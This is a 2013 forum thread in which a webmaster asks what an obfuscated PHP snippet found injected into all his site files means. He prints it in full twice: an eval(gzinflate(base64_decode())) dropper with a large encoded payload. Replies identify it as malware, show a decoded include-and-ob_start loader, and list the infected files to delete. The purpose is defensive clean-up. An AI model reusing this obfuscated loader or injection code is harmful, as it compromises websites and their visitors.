Decifrar código que colocaram no meu site

Awero · 22/01/2013

Buenas, alguien me podría orientar para saber que significa este código que pusieron en todos mis archivos?

Inserir CODE, HTML ou PHP:

<?php
$md5 = "749e1fff3a2f71339f1f95b5f33b4395";
$ab = array('$',"_",'b',"s","a",'6','v','c',"(",')','f','r',"d","i",'z','e',"n","4","l","t",'o',';','g');
$bbe = create_function('$'.'v',$ab[15].$ab[6].$ab[4].$ab[18].$ab[8].$ab[22].$ab[14].$ab[13].$ab[16].$ab[10].$ab[18].$ab[4].$ab[19].$ab[15].$ab[8].$ab[2].$ab[4].$ab[3].$ab[15].$ab[5].$ab[17].$ab[1].$ab[12].$ab[15].$ab[7].$ab[20].$ab[12].$ab[15].$ab[8].$ab[0].$ab[6].$ab[9].$ab[9].$ab[9].$ab[21]);
$bbe('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');
?>

Gracias de antemano, Saludos

ecoal95 · 22/01/2013

Símplemente bórralo, es código malicioso, que desencripta un código encriptado en base64+gzip, y lo ejecuta.

propa · 22/01/2013

Lo mas probable es que sea codigo malicioso, si no lo colocastes tu o algun programador que hayas contratado revisa tus archivos y eliminalo

Cicklow · 22/01/2013

Awero disse:

Buenas, alguien me podría orientar para saber que significa este código que pusieron en todos mis archivos?

Inserir CODE, HTML ou PHP:

<?php
$md5 = "749e1fff3a2f71339f1f95b5f33b4395";
$ab = array('$',"_",'b',"s","a",'6','v','c',"(",')','f','r',"d","i",'z','e',"n","4","l","t",'o',';','g');
$bbe = create_function('$'.'v',$ab[15].$ab[6].$ab[4].$ab[18].$ab[8].$ab[22].$ab[14].$ab[13].$ab[16].$ab[10].$ab[18].$ab[4].$ab[19].$ab[15].$ab[8].$ab[2].$ab[4].$ab[3].$ab[15].$ab[5].$ab[17].$ab[1].$ab[12].$ab[15].$ab[7].$ab[20].$ab[12].$ab[15].$ab[8].$ab[0].$ab[6].$ab[9].$ab[9].$ab[9].$ab[21]);
$bbe('FZM1Du0IAgSPMzNyYCaNNrCfmZmSlZmZffr9G3ReLVWVVzr8XX/tVA3pUf6dpXtJYP8tynwuyr//4hIX/Z2vzPc2mAC0UGdft8ciJUU9+bradRVVdBFiU2OxOg5G8CQTVBErKuY7gMQ7mGZywFpJFY2OF10f3lAUqEsAL47WxzFZCZTCgw42aX8CxdsSuKUu5PUrUyltrqYQ36uBNutha7ZyjSaMZITrSIvQz06fUESSwoBocoYshhD7uPxVs3zC9mpx5MdA1d3WtWDjrxitk008LHpwBqwW7Ffe5NMgUDvdmcG0C5PrwTli12vIENAQzgLUb2CZJS+tWE5gnfLD/WFL/fP8TmAZc2PvJvE23E6g3+iNU+kd3b4UFJdAbUOdsxbnkB5+TRtbC0WZf+n1AYj8VYgEtaKReWEZ/0hG8e7+pemwKuefalU4vI0j8hIfRfaXiEf7PT0iIiKh5QjxrUbm9O7sQ3IpjbLP5rkBiDnGw1IeD0/nb3XWV9ORY6kvKbFyyus4sWRPukm0iqoP8nLZbfqVBc/NWbHyDDrE5iqYjEw8dqFfpA3AZ9ouPYlh3vKl4gWGBNRawyhghuGwg+tMW8gwzzAQN0hFd36TMlvGrxzoPjunNPjGQVsBcm96+qvShwFXZay0qbtbLjlAmoBEy5NcMt1i/KBc8kU5YRtrLzDh+uBPusFMxSaGE3eayQM30Xoi+f0kFGz8XtZ8kbdkiD2bzmE0i+KLAqlNDXNchVsCr4MJbQ2N9rgAmrdMnSupsP6sayK7vIVxbHWNc36quOe3nXQ2XV76xtFRX3/4fsZSfF0NnpgdOH2mXm32bAlE3mRfMse9xdgb6nXScFElY/EhqaHXfVfZFTudcn4bNYDUM58C3imlUjNwmhK+NCul8EmR0fkWgYSAV0TLfzYzULBtvzo/D45719hkkxwVf+2jRZmZpa2UiY8xSyz5KMHkKLps320HIwxbmeO5YzYjatvltD9v+PO1l+HktGuR2BHo/uVbDw4yT5YFIlnxNnTR0oK04+7gOiZ/vJhtaNHRJK2TpI4zJkNIQZ2K45mBH8qMdaVSLuA5wqewG8WmhJb+Bq92tTTsIKhltXiK61cqK8xA2X2eleZFMa30VGmA15CXTckT76VhePKhOu8cw6IjxRsSFJ+Zdcz3XM0Axkr2IL0NROfAzUU8OdteyPtadfXJSi0BmBWXZWwmePIcu4o+Ye71k6UmeeL+vv4yULJEvpGtp4CzIBOXZOJUcI4ARG1/zH4qc7xHbUUJvIiWjDiMlezQ/JY/TvdzByEr4WDv9dHHNeMS9U+y9Hag5uDJbYQ+vzAmVfxC4eZrkOauHcocrKVBclrVlpJKm7oEl1+W8znbB5mL7bvf9vvM0fmabrWA5iPcywnUyWP63qPkfWoJK5J4C16KXWc6WY97+iA7Y5ASR4oHOcRaBoD/tpnt5gda83gKKUin3HVo2XEMLq6Tk90BLpy01XuAGjlTeI2WHz7wDoOX5QCMz0A3e94V6rNMRuqng5+qcBJ+Pl2yT1g6tMv4k7OGfJIFAx2VxcFm48ExSTOSM7B+70qY6k5rpZz3PEQ8l4FH6MAv+VLL4+gJ7XwG3B3diV5MRaNOYYGBIDCHj6DSjTRHNP0ENRpKOTBE0x4EnsUfjT07RnHSl4kHsBVlI1VxP42JtULEyiv3Z/J3dthL/lD0u0oeOMsSp9jfaEqxW7SabeQmrQilqSaH3qpnFo4Zr5m/1LKzJx0EUNlygTdgoHG8rB5I3eHN7Nnjk9Y3Ome0o4Bl5HOZCNfFo1JwTERlMHfzyfhT6Z9CtbBJRqNqpX5QJnWyAPzHsMXDiRYHSbfSJcje8JJwNB8fpCmjedvqWG4YjdzIWfW9d3MY+DAq+VstpyZFtuZc84lCbwbjkU7i03bxvnhBEtzP/dIHFlAF/LU52hUsFBLxITyfMxUgTImddHBEBPOq8DtwY0mOaP1YJSbRb9dH9TI9oNb1HYeT3oJ8bUSsUrRO3aRlFsyTc8m67EiIy1RqYhNSUh/UHoR9j1dxnSs9E23xmRcqDo0BAbnFm2gjhgJPgx00W6Qd0C8HkY0LJx6ZeBQR0qHxeOY+W71z3zFyu4B2/NW5jfr/HPoGX3V2SADpL5CHKXAIA82Vt/vRDn7ndG4mVimUA6OTbaLFIwJrUayXcSJgHKai5TkoOyw4/EM+l0L6rO6PAW+wgK5IYGGxaGzIxp4UsG6f28xuOxxjl1tVgSQAVicI3vp//vrnn3/+/R8=');
?>

Gracias de antemano, Saludos

PHP:

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/home/dlsssexq/public_html/fuckplay.net/detube/admin/js/colorpicker/images/6d8.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}

Por lo que veo tienes un virus en tu server elimina estos files:
fuckplay.net/detube/admin/js/colorpicker/images/6d8.php
fuckplay.net/detube/admin/js/colorpicker/images/be67.php

detube tiene algun bug, es por eso que te inyectaron ese code o has descargado ese script nulled y ya venia injectado con el virus.

Decifrar código que colocaram no meu site

Awero

ecoal95

propa

Cicklow

Tópicos similares